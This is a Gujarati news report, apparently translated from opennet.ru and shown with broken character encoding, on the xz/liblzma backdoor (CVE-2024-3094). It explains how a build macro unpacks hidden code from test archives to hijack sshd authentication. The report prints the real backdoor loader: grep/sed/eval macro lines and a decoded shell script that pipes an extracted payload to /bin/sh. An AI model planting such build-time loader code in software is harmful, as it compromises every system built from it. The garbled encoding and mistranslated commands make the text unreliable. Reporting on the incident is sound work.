xz/liblzma เชฒเชพเช‡เชฌเซเชฐเซ‡เชฐเซ€เชฎเชพเช‚ เชชเชพเช›เชฒเชพ เชฆเชฐเชตเชพเชœเชพเชจเซ€ เชถเซ‹เชง เช•เชฐเชตเชพเชฎเชพเช‚ เช†เชตเซ€ เชนเชคเซ€ เชœเซ‡ sshd เชฆเซเชตเชพเชฐเชพ เชชเซเชฐเชตเซ‡เชถเชจเซ€ เชฎเช‚เชœเซ‚เชฐเซ€ เช†เชชเซ‡ เช›เซ‡

XZ Utils เชชเซ‡เช•เซ‡เชœเชฎเชพเช‚, เชœเซ‡เชฎเชพเช‚ ".xz" เชซเซ‹เชฐเซเชฎเซ‡เชŸเชฎเชพเช‚ เชธเช‚เช•เซเชšเชฟเชค เชกเซ‡เชŸเชพ เชธเชพเชฅเซ‡ เช•เชพเชฎ เช•เชฐเชตเชพ เชฎเชพเชŸเซ‡ liblzma เชฒเชพเช‡เชฌเซเชฐเซ‡เชฐเซ€ เช…เชจเซ‡ เช‰เชชเชฏเซ‹เช—เชฟเชคเชพเช“เชจเซ‹ เชธเชฎเชพเชตเซ‡เชถ เชฅเชพเชฏ เช›เซ‡, เชเช• เชฌเซ‡เช•เชกเซ‹เชฐ (CVE-2024-3094) เช“เชณเช–เชตเชพเชฎเชพเช‚ เช†เชตเซเชฏเซ‹ เช›เซ‡ เชœเซ‡ เชธเช‚เช•เชณเชพเชฏเซ‡เชฒ เชเชชเซเชฒเชฟเช•เซ‡เชถเชจเซ‹ เชฆเซเชตเชพเชฐเชพ เชชเซเชฐเช•เซเชฐเชฟเชฏเชพ เช•เชฐเชพเชฏเซ‡เชฒ เชกเซ‡เชŸเชพเชจเซ‡ เช…เชŸเช•เชพเชตเชตเชพ เช…เชจเซ‡ เชคเซ‡เชฎเชพเช‚ เชซเซ‡เชฐเชซเชพเชฐ เช•เชฐเชตเชพเชจเซ€ เชฎเช‚เชœเซ‚เชฐเซ€ เช†เชชเซ‡ เช›เซ‡. liblzma เชชเซเชธเซเชคเช•เชพเชฒเชฏ เชธเชพเชฅเซ‡. เชฌเซ‡เช•เชกเซ‹เชฐเชจเซเช‚ เชฎเซเช–เซเชฏ เชฒเช•เซเชทเซเชฏ OpenSSH เชธเชฐเซเชตเชฐ เช›เซ‡, เชœเซ‡ เช…เชฎเซเช• เชตเชฟเชคเชฐเชฃเซ‹เชฎเชพเช‚ libsystemd เชฒเชพเช‡เชฌเซเชฐเซ‡เชฐเซ€ เชธเชพเชฅเซ‡ เชฌเช‚เชกเชฒ เชฅเชฏเซ‡เชฒ เช›เซ‡, เชœเซ‡ เชฌเชฆเชฒเชพเชฎเชพเช‚ liblzma เชจเซ‹ เช‰เชชเชฏเซ‹เช— เช•เชฐเซ‡ เช›เซ‡. sshd เชจเซ‡ เชธเช‚เชตเซ‡เชฆเชจเชถเซ€เชฒ เชฒเชพเช‡เชฌเซเชฐเซ‡เชฐเซ€ เชธเชพเชฅเซ‡ เชฒเชฟเช‚เช• เช•เชฐเชตเชพเชฅเซ€ เชนเซเชฎเชฒเชพเช–เซ‹เชฐเซ‹ เชชเซเชฐเชฎเชพเชฃเซ€เช•เชฐเชฃ เชตเชฟเชจเชพ SSH เชธเชฐเซเชตเชฐเชจเซ€ เชเช•เซเชธเซ‡เชธ เชฎเซ‡เชณเชตเชตเชพ เชฎเชพเชŸเซ‡ เชชเชฐเชตเชพเชจเช—เซ€ เช†เชชเซ‡ เช›เซ‡.

5.6.0 เชซเซ‡เชฌเซเชฐเซเช†เชฐเซ€ เช…เชจเซ‡ 5.6.1 เชฎเชพเชฐเซเชšเชจเชพ เชฐเซ‹เชœ เชชเซเชฐเช•เชพเชถเชฟเชค เชธเชคเซเชคเชพเชตเชพเชฐ เชชเซเชฐเช•เชพเชถเชจเซ‹ 24 เช…เชจเซ‡ 9เชฎเชพเช‚ เชฌเซ‡เช•เชกเซ‹เชฐ เชนเชพเชœเชฐ เชนเชคเซเช‚, เชœเซ‡ เช•เซ‡เชŸเชฒเชพเช• เชตเชฟเชคเชฐเชฃเซ‹ เช…เชจเซ‡ เชญเช‚เชกเชพเชฐเซ‹เชฎเชพเช‚ เชชเซเชฐเชตเซ‡เชถ เชฎเซ‡เชณเชตเชตเชพเชฎเชพเช‚ เชตเซเชฏเชตเชธเซเชฅเชพเชชเชฟเชค เชนเชคเซ€, เช‰เชฆเชพเชนเชฐเชฃ เชคเชฐเซ€เช•เซ‡, เชœเซ‡เชจเซเชŸเซ‚, เช†เชฐเซเช• เชฒเชฟเชจเช•เซเชธ, เชกเซ‡เชฌเชฟเชฏเชจ เชธเชฟเชก/เช…เชธเซเชฅเชฟเชฐ, เชซเซ‡เชกเซ‹เชฐเชพ เชฐเซ‹เชนเชพเช‡เชก เช…เชจเซ‡ 40-เชฌเซ€เชŸเชพ, เช“เชชเชจเชธเซเชธ เชซเซ‡เช•เซเชŸเชฐเซ€ เช…เชจเซ‡ เชŸเชฎเซเชฌเชฒเชตเซ€เชก, เชฒเชฟเชฌเซเชฐเซ‡เชˆเชฒเซ‡เชธเซ€, เช†เชฒเซเชชเชพเชˆเชจ เชเชœ, เชธเซ‹เชฒเชธ, เชจเชฟเช•เซเชธเช“เชเชธ เช…เชธเซเชฅเชฟเชฐ, เช“เชชเชจเชˆเชจเซเชกเชฟเชฏเชพเชจเชพ, เช“เชชเชจเชฎเซ‡เชจเชกเซเชฐเชฟเชตเชพ เชฐเซ‹เชฒเชฟเช‚เช—, เชชเซ€เช•เซ‡เชœเซ€เชเชธเช†เชฐเชธเซ€ เช•เชฐเช‚เชŸ, เชธเซเชฒเซ‡เช•เชตเซ‡เชฐ เช•เชฐเช‚เชŸ, เชฎเชพเช‚เชœเชพเชฐเซ‹ เชชเชฐเซ€เช•เซเชทเชฃ. xz 5.6.0 เช…เชจเซ‡ 5.6.1 เชฐเซ€เชฒเซ€เชเชจเชพ เชคเชฎเชพเชฎ เชตเชชเชฐเชพเชถเช•เชฐเซเชคเชพเช“เชจเซ‡ เชคเชพเช•เซ€เชฆเซ‡ เช†เชตเซƒเชคเซเชคเชฟ 5.4.6 เชชเชฐ เชชเชพเช›เชพ เชซเชฐเชตเชพเชจเซ€ เชญเชฒเชพเชฎเชฃ เช•เชฐเชตเชพเชฎเชพเช‚ เช†เชตเซ‡ เช›เซ‡.

เชธเชฎเชธเซเชฏเชพเชจเซ‡ เชนเชณเชตเซ€ เช•เชฐเชคเชพ เชชเชฐเชฟเชฌเชณเซ‹ เชชเซˆเช•เซ€, เช เชจเซ‹เช‚เชงเซ€ เชถเช•เชพเชฏ เช›เซ‡ เช•เซ‡ เชฌเซ‡เช•เชกเซ‹เชฐ เชธเชพเชฅเซ‡ เชฒเชฟเชฌเซเชฒเซเชเชฎเชพเชจเซเช‚ เชธเช‚เชธเซเช•เชฐเชฃ เชฎเซ‹เชŸเชพ เชตเชฟเชคเชฐเชฃเซ‹เชจเชพ เชธเซเชฅเชฟเชฐ เชชเซเชฐเช•เชพเชถเชจเซ‹เชจเซ‹ เชญเชพเช— เชฌเชจเชตเชพเชจเซเช‚ เชธเช‚เชšเชพเชฒเชจ เช•เชฐเชคเซเช‚ เชจเชฅเซ€, เชชเชฐเช‚เชคเซ เช“เชชเชจเชธเซเชธ เชŸเชฎเซเชฌเชฒเชตเซ€เชก เช…เชจเซ‡ เชซเซ‡เชกเซ‹เชฐเชพ 40-เชฌเซ€เชŸเชพเชจเซ‡ เช…เชธเชฐ เช•เชฐเซ‡ เช›เซ‡. เช†เชฐเซเช• เชฒเชฟเชจเช•เซเชธ เช…เชจเซ‡ เชœเซ‡เชจเซเชŸเซเช zx เชจเซ€ เชธเช‚เชตเซ‡เชฆเชจเชถเซ€เชฒ เช†เชตเซƒเชคเซเชคเชฟเชจเซ‹ เช‰เชชเชฏเซ‹เช— เช•เชฐเซเชฏเซ‹ เช›เซ‡, เชชเชฐเช‚เชคเซ เชนเซเชฎเชฒเชพ เชฎเชพเชŸเซ‡ เชธเช‚เชตเซ‡เชฆเชจเชถเซ€เชฒ เชจเชฅเซ€ เช•เชพเชฐเชฃ เช•เซ‡ เชคเซ‡เช“ systemd-notify เชชเซ‡เชšเชจเซ‡ openssh เชชเชฐ เชฒเชพเช—เซ เช•เชฐเชคเชพ เชจเชฅเซ€, เชœเซ‡ sshd เชจเซ‡ liblzma เชธเชพเชฅเซ‡ เชœเซ‹เชกเชตเชพเชจเซเช‚ เช•เชพเชฐเชฃ เชฌเชจเซ‡ เช›เซ‡. เชฌเซ‡เช•เชกเซ‹เชฐ เชซเช•เซเชค Linux เช•เชฐเซเชจเชฒ เช…เชจเซ‡ Glibc C เชฒเชพเช‡เชฌเซเชฐเซ‡เชฐเซ€ เชชเชฐ เช†เชงเชพเชฐเชฟเชค x86_64 เชธเชฟเชธเซเชŸเชฎเซ‹เชจเซ‡ เช…เชธเชฐ เช•เชฐเซ‡ เช›เซ‡.

เชฎเช•เชพเชจ เชฌเชจเชพเชตเชคเซ€ เชตเช–เชคเซ‡ automake เชŸเซ‚เชฒเช•เซ€เชŸ เชฆเซเชตเชพเชฐเชพ เช‰เชชเชฏเซ‹เช—เชฎเชพเช‚ เชฒเซ‡เชตเชพเชคเซ€ build-to-host.m4 เชซเชพเช‡เชฒเชฎเชพเช‚เชฅเซ€ เชฌเซ‡เช•เชกเซ‹เชฐ เชธเช•เซเชฐเชฟเชฏเช•เชฐเชฃ เช•เซ‹เชก m4 เชฎเซ‡เช•เซเชฐเซ‹เชฎเชพเช‚ เช›เซเชชเชพเชฏเซ‡เชฒเซ‹ เชนเชคเซ‹. เชเชธเซ‡เชฎเซเชฌเชฒเซ€ เชฆเชฐเชฎเชฟเชฏเชพเชจ, เช†เชฐเซเช•เชพเช‡เชตเซเชธ (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma) เชชเชฐ เช†เชงเชพเชฐเชฟเชค เชœเชŸเชฟเชฒ เช…เชธเซเชชเชทเซเชŸ เช•เชพเชฎเช—เซ€เชฐเซ€เชจเชพ เช…เชฎเชฒ เชฆเชฐเชฎเชฟเชฏเชพเชจ, เช‘เชชเชฐเซ‡เชถเชจเชจเซ€ เชถเซเชฆเซเชงเชคเชพ เชšเช•เชพเชธเชตเชพ เชฎเชพเชŸเซ‡ เช‰เชชเชฏเซ‹เช—เชฎเชพเช‚ เชฒเซ‡เชตเชพเชคเซ€, เชฆเซ‚เชทเชฟเชค เช•เซ‹เชก เชธเชพเชฅเซ‡เชจเซ€ เช‘เชฌเซเชœเซ‡เช•เซเชŸ เชซเชพเช‡เชฒ เชœเชจเชฐเซ‡เชŸ เช•เชฐเชตเชพเชฎเชพเช‚ เช†เชตเซ€ เชนเชคเซ€, เชœเซ‡เชจเซ‹ เชธเชฎเชพเชตเซ‡เชถ เช•เชฐเชตเชพเชฎเชพเช‚ เช†เชตเซเชฏเซ‹ เชนเชคเซ‹. liblzma เชฒเชพเช‡เชฌเซเชฐเซ‡เชฐเซ€ เช…เชจเซ‡ เช“เชชเชฐเซ‡เชถเชจ เชฒเซ‹เชœเชฟเช• เชคเซ‡เชจเชพ เช•เซ‡เชŸเชฒเชพเช• เช•เชพเชฐเซเชฏเซ‹เชจเซ‡ เชฌเชฆเชฒเซเชฏเชพ. เชฌเซ‡เช•เชกเซ‹เชฐ-เชเช•เซเชŸเชฟเชตเซ‡เชŸเซ€เช‚เช— เชเชฎ4 เชฎเซ‡เช•เซเชฐเซ‹เชจเซ‡ เชฐเซ€เชฒเซ€เช เชŸเชพเชฐเชฌเซ‹เชฒเซเชธเชฎเชพเช‚ เชธเชพเชฎเซ‡เชฒ เช•เชฐเชตเชพเชฎเชพเช‚ เช†เชตเซเชฏเชพ เชนเชคเชพ, เชชเชฐเช‚เชคเซ เช—เชฟเชŸ เชฐเซ€เชชเซ‹เชเซ€เชŸเชฐเซ€เชฎเชพเช‚ เชจ เชนเชคเชพ. เชคเซ‡ เชœ เชธเชฎเชฏเซ‡, เชฐเซ€เชชเซ‹เชเซ€เชŸเชฐเซ€เชฎเชพเช‚ เชฆเซ‚เชทเชฟเชค เชชเชฐเซ€เช•เซเชทเชฃ เช†เชฐเซเช•เชพเช‡เชตเซเชธ เชนเชพเชœเชฐ เชนเชคเชพ, เชเชŸเชฒเซ‡ เช•เซ‡. เชฌเซ‡เช•เชกเซ‹เชฐ เช…เชฎเชฒเชฎเชพเช‚ เชฎเซ‚เช•เชจเชพเชฐ เชตเซเชฏเช•เซเชคเชฟ เชชเชพเชธเซ‡ เชฐเซ€เชชเซ‹เชเซ€เชŸเชฐเซ€ เช…เชจเซ‡ เชฐเซ€เชฒเซ€เช เชœเชจเชฐเซ‡เชถเชจ เชฌเช‚เชจเซ‡ เชชเซเชฐเช•เซเชฐเชฟเชฏเชพเช“เชจเซ€ เชเช•เซเชธเซ‡เชธ เชนเชคเซ€.

เชเชชเซเชฒเชฟเช•เซ‡เชถเชจเซเชธเชฎเชพเช‚ เชฒเชฟเชฌเซเชฒเซเชเชฎเชพเชจเซ‹ เช‰เชชเชฏเซ‹เช— เช•เชฐเชคเซ€ เชตเช–เชคเซ‡, เชฆเซ‚เชทเชฟเชค เชซเซ‡เชฐเชซเชพเชฐเซ‹เชจเซ‹ เช‰เชชเชฏเซ‹เช— เชกเซ‡เชŸเชพเชจเซ‡ เช…เชŸเช•เชพเชตเชตเชพ เช…เชฅเชตเชพ เชธเช‚เชถเซ‹เชงเชฟเชค เช•เชฐเชตเชพ เช…เชฅเชตเชพ sshd เชจเซ€ เช•เชพเชฎเช—เซ€เชฐเซ€เชจเซ‡ เช…เชธเชฐ เช•เชฐเชตเชพ เชฎเชพเชŸเซ‡ เชฅเชˆ เชถเช•เซ‡ เช›เซ‡. เช–เชพเชธ เช•เชฐเซ€เชจเซ‡, เชฆเซ‚เชทเชฟเชค เช•เซ‹เชกเซ‡ sshd เชชเซเชฐเชฎเชพเชฃเซ€เช•เชฐเชฃ เชชเซเชฐเช•เซเชฐเชฟเชฏเชพเชจเซ‡ เชฌเชพเชฏเชชเชพเชธ เช•เชฐเชตเชพ เชฎเชพเชŸเซ‡ RSA_public_decrypt เชซเช‚เช•เซเชถเชจเชจเซ‡ เชฌเชจเชพเชตเชŸเซ€ เชฌเชจเชพเชตเซ€ เช›เซ‡. เชชเชพเช›เชฒเชพ เชฆเชฐเชตเชพเชœเชพเชฎเชพเช‚ เชถเซ‹เชงเชฅเซ€ เชฐเช•เซเชทเชฃ เชถเชพเชฎเซ‡เชฒ เชนเชคเซเช‚ เช…เชจเซ‡ เชœเซเชฏเชพเชฐเซ‡ LANG เช…เชจเซ‡ TERM เชชเชฐเซเชฏเชพเชตเชฐเชฃ เชšเชฒเซ‹ เชธเซ‡เชŸ เช•เชฐเชตเชพเชฎเชพเช‚ เช†เชตเซเชฏเชพ เชนเชคเชพ (เชเชŸเชฒเซ‡ โ€‹โ€‹โ€‹โ€‹เช•เซ‡, เชœเซเชฏเชพเชฐเซ‡ เชŸเชฐเซเชฎเชฟเชจเชฒเชฎเชพเช‚ เชชเซเชฐเช•เซเชฐเชฟเชฏเชพ เชšเชฒเชพเชตเซ€ เชฐเชนเซเชฏเชพ เชนเซ‹เชฏ เชคเซเชฏเชพเชฐเซ‡) เช…เชจเซ‡ LD_DEBUG เช…เชจเซ‡ LD_PROFILE เชชเชฐเซเชฏเชพเชตเชฐเชฃ เชšเชฒเซ‹ เชธเซ‡เชŸ เช•เชฐเชตเชพเชฎเชพเช‚ เช†เชตเซเชฏเชพ เชจ เชนเชคเชพ เชคเซเชฏเชพเชฐเซ‡ เชคเซ‡ เชชเซ‹เชคเชพเชจเซ‡ เชชเซเชฐเช—เชŸ เช•เชฐเชคเซเช‚ เชจ เชนเชคเซเช‚, เช…เชจเซ‡ เชคเซ‡ เชฎเชพเชคเซเชฐ เชคเซเชฏเชพเชฐเซ‡ เชœ เชธเช•เซเชฐเชฟเชฏ เชฅเชฏเซเช‚ เชนเชคเซเช‚ เชœเซเชฏเชพเชฐเซ‡ เชเช•เซเชเชฟเช•เซเชฏเซเชŸ เช•เชฐเชตเชพเชฎเชพเช‚ เช†เชตเซเชฏเซเช‚ เชนเชคเซเช‚. /usr/sbin/sshd เชเช•เซเชเชฟเช•เซเชฏเซเชŸเซ‡เชฌเชฒ เชซเชพเช‡เชฒ. เชฌเซ‡เช•เชกเซ‹เชฐ เชชเชพเชธเซ‡ เชกเซ€เชฌเช— เชตเชพเชคเชพเชตเชฐเชฃเชฎเชพเช‚ เชเช•เซเชเซ‡เช•เซเชฏเซเชถเชจ เชถเซ‹เชงเชตเชพเชจเซเช‚ เชธเชพเชงเชจ เชชเชฃ เชนเชคเซเช‚.

เช–เชพเชธ เช•เชฐเซ€เชจเซ‡, m4/build-to-host.m4 เชซเชพเช‡เชฒ gl_am_configmake=`grep -aErls โ€œ#{4}[[[:alnum:]]{5}#{4}$โ€ $srcdir/ 2>/dev/ เชจเซ‹ เช‰เชชเชฏเซ‹เช— เช•เชฐเซ‡ เช›เซ‡. null` โ€ฆ gl_[$1]_config='sed \ยปr\n\ยป $gl_am_configmake | eval $gl_path_map | $gl__[$1]_prefix -d 2>/dev/null'

เชชเซเชฐเชฅเชฎ เชฌเชพเช‚เชงเช•เชพเชฎเชฎเชพเช‚, grep เช“เชชเชฐเซ‡เชถเชจเชฎเชพเช‚ เชซเชพเชˆเชฒ tests/files/bad-3-corrupt_lzma2.xz เชฎเชณเซ€, เชœเซ‡ เชœเซเชฏเชพเชฐเซ‡ เช…เชจเชชเซ‡เช• เช•เชฐเชตเชพเชฎเชพเช‚ เช†เชตเซ‡ เชคเซเชฏเชพเชฐเซ‡ เชธเซเช•เซเชฐเชฟเชชเซเชŸ เชœเชจเชฐเซ‡เชŸ เช•เชฐเซ‡ เช›เซ‡: ####Hello#### #345U211267$^D330^W [ ! $(uname) = "Linux" ] && เชฌเชนเชพเชฐ เชจเซ€เช•เชณเซ‹ 0 [ ! $(uname) = "Linux" ] && เชฌเชนเชพเชฐ เชจเซ€เช•เชณเซ‹ 0 [ ! $(uname) = "Linux" ] && เชฌเชนเชพเชฐ เชจเซ€เช•เชณเซ‹ 0 [ ! $(uname) = "Linux" ] && เชฌเชนเชพเชฐ เชจเซ€เช•เชณเซ‹ 0 [ ! $(uname) = "Linux" ] && เชฌเชนเชพเชฐ เชจเซ€เช•เชณเซ‹ 0 eval `grep ^srcdir= config.status` เชœเซ‹ เชŸเซ‡เชธเซเชŸ -f ../../config.status; เชชเช›เซ€ eval `grep ^srcdir= ../../config .status` srcdir="../../$srcdirยป fi เชจเชฟเช•เชพเชธ i=ยป(head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/ null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head - c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head - c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/ dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && ( head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13 \50-\113" "\0-\377")|xz -F raw โ€”lzma1 -dc|/bin/sh ####World####

เชนเซเชฎเชฒเชพเช–เซ‹เชฐเซ‹เช xz เชชเซเชฐเซ‹เชœเซ‡เช•เซเชŸเชจเชพ เช‡เชจเซเชซเซเชฐเชพเชธเซเชŸเซเชฐเช•เซเชšเชฐเชฎเชพเช‚ เช•เซ‡เชตเซ€ เชฐเซ€เชคเซ‡ เชชเซเชฐเชตเซ‡เชถ เชฎเซ‡เชณเชตเซเชฏเซ‹ เชคเซ‡ เชนเชœเซ เชธเซเชงเซ€ เชธเช‚เชชเซ‚เชฐเซเชฃ เชฐเซ€เชคเซ‡ เชธเซเชชเชทเซเชŸ เช•เชฐเชตเชพเชฎเชพเช‚ เช†เชตเซเชฏเซเช‚ เชจเชฅเซ€. เชชเชพเช›เชฒเชพ เชฆเชฐเชตเชพเชœเชพเชจเชพ เชชเชฐเชฟเชฃเชพเชฎเซ‡ เช•เซ‡เชŸเชฒเชพ เชตเชชเชฐเชพเชถเช•เชฐเซเชคเชพเช“ เช…เชจเซ‡ เชชเซเชฐเซ‹เชœเซ‡เช•เซเชŸเซเชธ เชธเชพเชฅเซ‡ เชšเซ‡เชกเชพ เชฅเชฏเชพ เชคเซ‡ เชชเชฃ เชนเชœเซ เชธเซเชชเชทเซเชŸ เชจเชฅเซ€. เชฌเซ‡เช•เชกเซ‹เชฐ (JiaT75 - Jia Tan) เชจเชพ เช•เชฅเชฟเชค เชฒเซ‡เช–เช•, เชœเซ‡เชฎเชฃเซ‡ เชฐเซ€เชชเซ‹เชเซ€เชŸเชฐเซ€เชฎเชพเช‚ เชฆเซ‚เชทเชฟเชค เช•เซ‹เชก เชธเชพเชฅเซ‡ เช†เชฐเซเช•เชพเช‡เชตเซเชธ เชชเซ‹เชธเซเชŸ เช•เชฐเซเชฏเชพ, เชซเซ‡เชกเซ‹เชฐเชพ เชกเซ‡เชตเชฒเชชเชฐเซเชธ เชธเชพเชฅเซ‡ เชชเชคเซเชฐเชตเซเชฏเชตเชนเชพเชฐ เช•เชฐเซเชฏเซ‹ เช…เชจเซ‡ เชกเซ‡เชฌเชฟเชฏเชจเชจเซ‡ xz 5.6.0 เชถเชพเช–เชพเชฎเชพเช‚ เชตเชฟเชคเชฐเชฃเชจเชพ เชธเช‚เช•เซเชฐเชฎเชฃ เชธเช‚เชฌเช‚เชงเชฟเชค เชชเซเชฒ เชตเชฟเชจเช‚เชคเซ€เช“ เชฎเซ‹เช•เชฒเซ€, เช…เชจเซ‡ เชคเซ‡ เช•เชฐเซเชฏเซเช‚ เชจเชนเซ€เช‚. เชถเช‚เช•เชพ เชชเซ‡เชฆเชพ เช•เชฐเซ‡ เช›เซ‡, เช•เชพเชฐเชฃ เช•เซ‡ เชคเซ‡เชฃเซ‡ xz เชฎเชพเช‚ เชญเชพเช— เชฒเซ€เชงเซ‹ เชนเชคเซ‹ เชคเซ‡ เช›เซ‡เชฒเซเชฒเชพ เชฌเซ‡ เชตเชฐเซเชทเชฅเซ€ เชตเชฟเช•เชพเชธ เช•เชฐเซ€ เชฐเชนเซเชฏเซ‹ เช›เซ‡ เช…เชจเซ‡ เชซเซ‡เชฐเชซเชพเชฐเซ‹เชจเซ€ เชธเช‚เช–เซเชฏเชพเชจเชพ เชธเช‚เชฆเชฐเซเชญเชฎเชพเช‚ เชคเซ‡ เชฌเซ€เชœเชพ เชตเชฟเช•เชพเชธเช•เชฐเซเชคเชพ เช›เซ‡. xz เชชเซเชฐเซ‹เชœเซ‡เช•เซเชŸ เช‰เชชเชฐเชพเช‚เชค, เชฌเซ‡เช•เชกเซ‹เชฐเชจเชพ เช•เชฅเชฟเชค เชฒเซ‡เช–เช•เซ‡ xz-java เช…เชจเซ‡ xz-เชเชฎเซเชฌเซ‡เชกเซ‡เชก เชชเซ‡เช•เซ‡เชœเซ‹เชจเชพ เชตเชฟเช•เชพเชธเชฎเชพเช‚ เชชเชฃ เชญเชพเช— เชฒเซ€เชงเซ‹ เชนเชคเซ‹. เชคเชฆเซเชชเชฐเชพเช‚เชค, เชฅเซ‹เชกเชพ เชฆเชฟเชตเชธเซ‹ เชชเชนเซ‡เชฒเชพ เชœเชฟเชฏเชพ เชŸเซ‡เชจเชจเซ‹ เชธเชฎเชพเชตเซ‡เชถ Linux เช•เชฐเซเชจเชฒเชฎเชพเช‚ เช‰เชชเชฏเซ‹เช—เชฎเชพเช‚ เชฒเซ‡เชตเชพเชคเชพ XZ เชเชฎเซเชฌเซ‡เชกเซ‡เชก เชชเซเชฐเซ‹เชœเซ‡เช•เซเชŸเชจเชพ เชœเชพเชณเชตเชฃเซ€เช•เชพเชฐเซ‹เชจเซ€ เชธเช‚เช–เซเชฏเชพเชฎเชพเช‚ เช•เชฐเชตเชพเชฎเชพเช‚ เช†เชตเซเชฏเซ‹ เชนเชคเซ‹.

เชฆเซ‚เชทเชฟเชค เชซเซ‡เชฐเชซเชพเชฐ เช…เชคเชฟเชถเชฏ CPU เชตเชชเชฐเชพเชถ เช…เชจเซ‡ เชกเซ‡เชฌเชฟเชฏเชจ sid-เช†เชงเชพเชฐเชฟเชค เชธเชฟเชธเซเชŸเชฎเซ‹ เชธเชพเชฅเซ‡ ssh เชฆเซเชตเชพเชฐเชพ เช•เชจเซ‡เช•เซเชŸ เช•เชฐเชคเซ€ เชตเช–เชคเซ‡ valgrind เชฆเซเชตเชพเชฐเชพ เชœเชจเชฐเซ‡เชŸ เชฅเชฏเซ‡เชฒ เชญเซ‚เชฒเซ‹เชจเซเช‚ เชตเชฟเชถเซเชฒเซ‡เชทเชฃ เช•เชฐเซเชฏเชพ เชชเช›เซ€ เชถเซ‹เชงเชตเชพเชฎเชพเช‚ เช†เชตเซเชฏเซ‹ เชนเชคเซ‹. เชจเซ‹เช‚เชงเชจเซ€เชฏ เช›เซ‡ เช•เซ‡ xz 5.6.1 เชฐเซ€เชฒเซ€เชเชฎเชพเช‚ เชฌเซ‡เช•เชกเซ‹เชฐ เชธเชพเชฅเซ‡ zx 5.6.0 เชตเชฐเซเชเชจเชฎเชพเช‚ เช…เชชเช—เซเชฐเซ‡เชก เช•เชฐเซเชฏเชพ เชชเช›เซ€ เชŠเชญเซ€ เชฅเชฏเซ‡เชฒเซ€ sshd เชฎเช‚เชฆเซ€ เช…เชจเซ‡ เช•เซเชฐเซ‡เชถ เชตเชฟเชถเซ‡เชจเซ€ เชซเชฐเชฟเชฏเชพเชฆเซ‹เชจเชพ เชœเชตเชพเชฌเชฎเชพเช‚ เชฌเซ‡เช•เชกเซ‹เชฐเชจเชพ เช•เชฅเชฟเชค เชฒเซ‡เช–เช• เชฆเซเชตเชพเชฐเชพ เชคเซˆเชฏเชพเชฐ เช•เชฐเชพเชฏเซ‡เชฒเชพ เชซเซ‡เชฐเชซเชพเชฐเซ‹เชจเซ‹ เชธเชฎเชพเชตเซ‡เชถ เชฅเชพเชฏ เช›เซ‡. เชตเชงเซเชฎเชพเช‚, เช—เชฏเชพ เชตเชฐเซเชทเซ‡ เชœเชฟเชฏเชพ เชŸเซ…เชจเซ‡ เชซเซ‡เชฐเชซเชพเชฐเซ‹ เช•เชฐเซเชฏเชพ เชนเชคเชพ เชœเซ‡ "-fsanitize=address" เชจเชฟเชฐเซ€เช•เซเชทเชฃ เชฎเซ‹เชก เชธเชพเชฅเซ‡ เช…เชธเช‚เช—เชค เชนเชคเชพ, เชœเซ‡เชจเชพ เช•เชพเชฐเชฃเซ‡ เชคเซ‡เชจเซ‡ เชซเช เชŸเซ‡เชธเซเชŸเชฟเช‚เช— เชฆเชฐเชฎเชฟเชฏเชพเชจ เช…เช•เซเชทเชฎ เช•เชฐเชตเชพเชฎเชพเช‚ เช†เชตเซเชฏเซเช‚ เชนเชคเซเช‚.

เชธเซ‹เชฐเซเชธ: opennet.ru

เชเช• เชŸเชฟเชชเซเชชเชฃเซ€ เช‰เชฎเซ‡เชฐเซ‹